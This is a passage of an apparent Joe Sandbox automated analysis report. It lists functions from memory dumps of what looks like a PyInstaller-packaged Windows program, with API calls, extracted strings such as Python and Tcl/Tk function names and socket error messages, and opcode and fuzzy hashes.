                                                      • Part of subcall function 00007FFDFF158354: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF158363
                                                      • Part of subcall function 00007FFDFF158354: FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF158371
                                                      • Part of subcall function 00007FFDFF158354: FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF158385
                                                      • Part of subcall function 00007FFDFF158354: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF1583A1
                                                    • GetPrimaryLen.LIBCMT ref: 00007FFDFF1C996C
                                                    • EnumSystemLocalesW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,00000002,00007FFDFF1CA06E,?,?,?,00000000,?,00000092,?,?,?,00007FFDFF1ABE4A), ref: 00007FFDFF1C9984
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorLastValue$EnumLocalesPrimarySystem
                                                    • String ID:
                                                    • API String ID: 1748788951-0
                                                    • Opcode ID: 522199f09f48f924607209c39eac6fcc2b202c5302d4fc7c8e99c7696c9b6613
                                                    • Instruction ID: aa1dff2c0c80e6ce148aa9b432fa1e0251d4e246b38d1c1326c5bc12008d9006
                                                    • Opcode Fuzzy Hash: 522199f09f48f924607209c39eac6fcc2b202c5302d4fc7c8e99c7696c9b6613
                                                    • Instruction Fuzzy Hash: CCF0A463F0858182EB518F25D4607B97BA2EB80BA4F448331D67D472D9DF3C9481C701
                                                    Function 00007FFDFF1C980C Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FFDFF158354: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF158363
                                                      • Part of subcall function 00007FFDFF158354: FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF158371
                                                      • Part of subcall function 00007FFDFF158354: FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF158385
                                                      • Part of subcall function 00007FFDFF158354: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1B086F,?,?,?,?,?,00007FFDFF1785F0), ref: 00007FFDFF1583A1
                                                    • EnumSystemLocalesW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,00000002,00007FFDFF1CA113,?,?,?,00000000,?,00000092,?,?,?,00007FFDFF1ABE4A), ref: 00007FFDFF1C9853
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorLastValue$EnumLocalesSystem
                                                    • String ID:
                                                    • API String ID: 3877517837-0
                                                    • Opcode ID: cb1d6cb55d2c51722451b0d411e626633dc860edc193fc7f97c53555a79b4c19
                                                    • Instruction ID: 9c5a3ba7f7592cd560a28c038e91f99a44f762265e8693b86ad563750f4a9b3c
                                                    • Opcode Fuzzy Hash: cb1d6cb55d2c51722451b0d411e626633dc860edc193fc7f97c53555a79b4c19
                                                    • Instruction Fuzzy Hash: 5BF054A3F0874582DB505F26E4507A96BE2EB90BB0F498331D678832D9CB78C490C604
                                                    Function 00007FF6399B50B0 Relevance: 157.9, APIs: 44, Strings: 46, Instructions: 364libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetProcAddress.KERNEL32(?,00007FF6399B5C57,?,00007FF6399B308E), ref: 00007FF6399B50C0
                                                    • GetProcAddress.KERNEL32(?,00007FF6399B5C57,?,00007FF6399B308E), ref: 00007FF6399B5101
                                                    • GetProcAddress.KERNEL32(?,00007FF6399B5C57,?,00007FF6399B308E), ref: 00007FF6399B5126
                                                    • GetProcAddress.KERNEL32(?,00007FF6399B5C57,?,00007FF6399B308E), ref: 00007FF6399B514B
                                                    • GetProcAddress.KERNEL32(?,00007FF6399B5C57,?,00007FF6399B308E), ref: 00007FF6399B5173
                                                    • GetProcAddress.KERNEL32(?,00007FF6399B5C57,?,00007FF6399B308E), ref: 00007FF6399B519B
                                                    • GetProcAddress.KERNEL32(?,00007FF6399B5C57,?,00007FF6399B308E), ref: 00007FF6399B51C3
                                                    • GetProcAddress.KERNEL32(?,00007FF6399B5C57,?,00007FF6399B308E), ref: 00007FF6399B51EB
                                                    • GetProcAddress.KERNEL32(?,00007FF6399B5C57,?,00007FF6399B308E), ref: 00007FF6399B5213
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressProc
                                                    • String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
                                                    • API String ID: 190572456-2007157414
                                                    • Opcode ID: 3c804ccaf4812c993b4970aca99c844c8aa25bcf6244ab31ff714926eb913965
                                                    • Instruction ID: 70dda718620aef1974c9210a040525128a2a1460ab85d1c0c6b7953fb0bc9cb7
                                                    • Opcode Fuzzy Hash: 3c804ccaf4812c993b4970aca99c844c8aa25bcf6244ab31ff714926eb913965
                                                    • Instruction Fuzzy Hash: B112C06490EB8391FA159F05A8901B423B3EF19795B9C1435C80E927EEFF3CB548BE81
                                                    Function 00007FF6399B6EA0 Relevance: 119.3, APIs: 33, Strings: 35, Instructions: 280libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressProc
                                                    • String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
                                                    • API String ID: 190572456-3427451314
                                                    • Opcode ID: ea7dfca1e90abb6d4d8c6eb1b798acaf406610e772db9aaa2d8df727af0780f5
                                                    • Instruction ID: b0625da47e1d62b4d2f7ed068b07fa581d285f2619d457baafaa486d2f2e8487
                                                    • Opcode Fuzzy Hash: ea7dfca1e90abb6d4d8c6eb1b798acaf406610e772db9aaa2d8df727af0780f5
                                                    • Instruction Fuzzy Hash: 0BE1B265959B03D0FA199F15E8801B462B3EF19795F8C1136D80E82BEEEF3CB558AB40
                                                    Function 00007FFE1A498EE4 Relevance: 58.1, APIs: 4, Strings: 29, Instructions: 382COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+
                                                    • String ID: volatile$<unknown>$UNKNOWN$__int128$__int16$__int32$__int64$__int8$__w64 $auto$bool$char$char16_t$char32_t$char8_t$const$decltype(auto)$double$float$int$long$long $short$signed $this $unsigned $void$volatile$wchar_t
                                                    • API String ID: 2943138195-1482988683
                                                    • Opcode ID: 36e6e2d055789cd29251c4bf9697f6c8a4377c58ea8e1572b96a4f003d2d3a05
                                                    • Instruction ID: 23eebf2bf868b2e987e14bddb58097561148dd914405da8d7487340ce5b2d528
                                                    • Opcode Fuzzy Hash: 36e6e2d055789cd29251c4bf9697f6c8a4377c58ea8e1572b96a4f003d2d3a05
                                                    • Instruction Fuzzy Hash: 1C023C75B18A2388FB358F66D4941BC26A4BB0DB64F5041FBDA0F52AB9DF38A574C340
                                                    Function 00007FFE14636660 Relevance: 56.2, APIs: 24, Strings: 8, Instructions: 242threadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: Dealloc$Err_String$Eval_List_SizeThreadUnicode_freeaddrinfo$AppendArg_AuditBuildEncodedKeywords_LongLong_OccurredParseRestoreS_snprintfSaveSys_TupleValue_getaddrinfo
                                                    • String ID: %ld$Int or String expected$OOiii$OO|iiii:getaddrinfo$getaddrinfo() argument 1 must be string or None$idna$iiisO$socket.getaddrinfo
                                                    • API String ID: 3700949282-3943835681
                                                    • Opcode ID: 9fcdc6d02ec92686055524ae5c259f9121c9863c59131a83b4ab121cd6063ad0
                                                    • Instruction ID: de58260120933ba7fdf58c1ddec0769309a8ddc4240a52fad627a724ff4e0cb0
                                                    • Opcode Fuzzy Hash: 9fcdc6d02ec92686055524ae5c259f9121c9863c59131a83b4ab121cd6063ad0
                                                    • Instruction Fuzzy Hash: EAB1FF76B08E8286EB60CF66D4905BC23B1EB46BACB444575DD4E57B68DF3CE849C380
                                                    Function 00007FFDFF1987EC Relevance: 51.1, APIs: 3, Strings: 26, Instructions: 323COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+
                                                    • String ID: volatile$<unknown>$UNKNOWN$__int128$__int16$__int32$__int64$__int8$__w64 $bool$char$char16_t$char32_t$char8_t$const$double$float$int$long$long $short$signed $unsigned $void$volatile$wchar_t
                                                    • API String ID: 2943138195-1201493255
                                                    • Opcode ID: 6d03c317de7a5f19b21f0837a731510512d8948382e84f2b29aa15a4bf8a0d75
                                                    • Instruction ID: 47cdb63da84f104132f78187986fa7c4bd2e7d83cf2c620dce040cb65871fa8f
                                                    • Opcode Fuzzy Hash: 6d03c317de7a5f19b21f0837a731510512d8948382e84f2b29aa15a4bf8a0d75
                                                    • Instruction Fuzzy Hash: EAF13B62F19A1298FB248F54D8A0ABC2360BB05798F944736DA3D966DDDF3CA644C384
                                                    Function 00007FFE14633588 Relevance: 35.2, APIs: 11, Strings: 9, Instructions: 167networkCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: Err_Format$Deallochtons
                                                    • String ID: %s(): AF_INET address must be tuple, not %.500s$%s(): AF_INET6 address must be tuple, not %.500s$%s(): bad family$%s(): flowinfo must be 0-1048575.$%s(): port must be 0-65535.$%s(): unknown Bluetooth protocol$%s(): wrong format$O&i;AF_INET address must be a pair (host, port)$O&i|II;AF_INET6 address must be a tuple (host, port[, flowinfo[, scopeid]])
                                                    • API String ID: 2819711985-3893595010
                                                    • Opcode ID: 14753f0566e029aadbc56689752e4c66fb9a0cb93e157e5672a84a9cb58df628
                                                    • Instruction ID: 6463d14f2b840c25ade89d550d57c7b5061733ffc315cfd5ef19f49e266c4c00
                                                    • Opcode Fuzzy Hash: 14753f0566e029aadbc56689752e4c66fb9a0cb93e157e5672a84a9cb58df628
                                                    • Instruction Fuzzy Hash: D78109B6A08F8695EB10CF62D8846B933B0EB46B6CF545172DA0D57768DF3CE588C780
                                                    Function 00007FFE1A49C78C Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 289COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+$Replicator::operator[]
                                                    • String ID: `anonymous namespace'
                                                    • API String ID: 3863519203-3062148218
                                                    • Opcode ID: 29843075ff213e4678463bd9e4c4852a4219599ce3764149382065ef125c3596
                                                    • Instruction ID: 6308adc513e16ba8695eb732a85d03c402c23b870f6876a55a6ac0cbc83f2a84
                                                    • Opcode Fuzzy Hash: 29843075ff213e4678463bd9e4c4852a4219599ce3764149382065ef125c3596
                                                    • Instruction Fuzzy Hash: DDE12C72A08B8299EB30CF26E4801BD77A0FB49B94F5041B6EA5E17B66DF38D575C700
                                                    Function 00007FFDFF19B904 Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 288COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+
                                                    • String ID: `anonymous namespace'
                                                    • API String ID: 2943138195-3062148218
                                                    • Opcode ID: 2d62d21c16bed949c13363c3ecd5d3c5a409f7cecbbe559722e90c9130d6a852
                                                    • Instruction ID: 8b241f4e4ca3bacdd3b8825a815d26b1f462be181acf5eb570e155effb5adbde
                                                    • Opcode Fuzzy Hash: 2d62d21c16bed949c13363c3ecd5d3c5a409f7cecbbe559722e90c9130d6a852
                                                    • Instruction Fuzzy Hash: B1E19D73E08B8695EB20CF24E4A05AD77A0FB84788F405235EA6D57BADDF38D654C740
                                                    Function 00007FFDFF1725ED Relevance: 27.1, APIs: 18, Instructions: 125COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Value$ErrorLast$FreeHeap
                                                    • String ID:
                                                    • API String ID: 3324550332-0
                                                    • Opcode ID: 9a0470c1e02675e0e9dfd4322c33feefaf361b05e1ecb6c2e308b09382b2a795
                                                    • Instruction ID: 7f5e23d7966d7a3d23bd19f55457f556fd37912f1fc03df8ebf5e9ac30c93247
                                                    • Opcode Fuzzy Hash: 9a0470c1e02675e0e9dfd4322c33feefaf361b05e1ecb6c2e308b09382b2a795
                                                    • Instruction Fuzzy Hash: 3A516E26F09A8386FB185B25A974D392361AF95BA0F140734D87E867DEDF7CB9028700
                                                    Function 00007FFDFF19AB2C Relevance: 26.7, APIs: 14, Strings: 1, Instructions: 497COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+$Decorator::getNameSymbol
                                                    • String ID: operator
                                                    • API String ID: 2896215693-3618023297
                                                    • Opcode ID: b6b39716f4d1c18318290fdfc89748c31daab675f97323ebca028b6ec366b22c
                                                    • Instruction ID: 16e2437cd59c09641c504de7e2ec98a79a90c0883546186080495414547ac56d
                                                    • Opcode Fuzzy Hash: b6b39716f4d1c18318290fdfc89748c31daab675f97323ebca028b6ec366b22c
                                                    • Instruction Fuzzy Hash: 21226B63F18A5689FB24DF64D8A49BC33A1AF45788F404336DA3D57ADDDF28A5088380
                                                    Function 00007FFE146346BC Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 114networkthreadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorLast$Eval_Thread$Err_$CheckDeadline_RestoreSaveSignals$InitStringTime_Timeval_clampselect
                                                    • String ID: timed out
                                                    • API String ID: 497267021-3163636755
                                                    • Opcode ID: 90c6b31df7990d27f2a8fe7a866390ac8235e07df1dd76b4515201a7f731cca9
                                                    • Instruction ID: d9b313fffc60e47659bfd41691d91e37725c8b931e5bd930a16c306435709136
                                                    • Opcode Fuzzy Hash: 90c6b31df7990d27f2a8fe7a866390ac8235e07df1dd76b4515201a7f731cca9
                                                    • Instruction Fuzzy Hash: C2413F29E09EC285FB655B63A4C4279A2A0EF47BBCF1441B0CD5D427B4DF3CE88D8690
                                                    Function 00007FFE14637698 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 69COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: Buffer_Err_Release$String$From$Arg_ErrnoFormatParseSizeTuple_Unicode_inet_ntop
                                                    • String ID: invalid length of packed IP address string$iy*:inet_ntop$unknown address family %d
                                                    • API String ID: 418764794-2822559286
                                                    • Opcode ID: 251d4f267bbc8b120124080416e823e53b3ce1559a1e7cbf42b99adeebe030d3
                                                    • Instruction ID: d611df12fa389efa6d6234fb06cffd6055e9c96094dd33b5da7dfa82c450888f
                                                    • Opcode Fuzzy Hash: 251d4f267bbc8b120124080416e823e53b3ce1559a1e7cbf42b99adeebe030d3
                                                    • Instruction Fuzzy Hash: B031F021A18EC791EA508B22E8D46B923B1FF86B6DF405471D54E87B75DE3DE40DC780
                                                    Function 00007FFE1463736C Relevance: 24.1, APIs: 16, Instructions: 99COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: Dealloc$FreeTable$Err_FromList_Windows$AppendBuildConvertInterfaceLuidNameSizeTable2Value_memcpy
                                                    • String ID:
                                                    • API String ID: 1684791173-0
                                                    • Opcode ID: af5f6e49e977fbb60a0688a72f8e008e180f3d1ae1b68ea70d7085a42f6f4076
                                                    • Instruction ID: d83e4e6e4cf5d0bc2655bcba61167c440d2c316e9b78609ae5803cc742b2eba2
                                                    • Opcode Fuzzy Hash: af5f6e49e977fbb60a0688a72f8e008e180f3d1ae1b68ea70d7085a42f6f4076
                                                    • Instruction Fuzzy Hash: 5E413171A0CFC281EA649B22A9942B963A0FF8AB79F044075C94E47775DF3CE44DCB80
                                                    Function 00007FFE1A49D5B0 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 359COMMONLIBRARYCODE
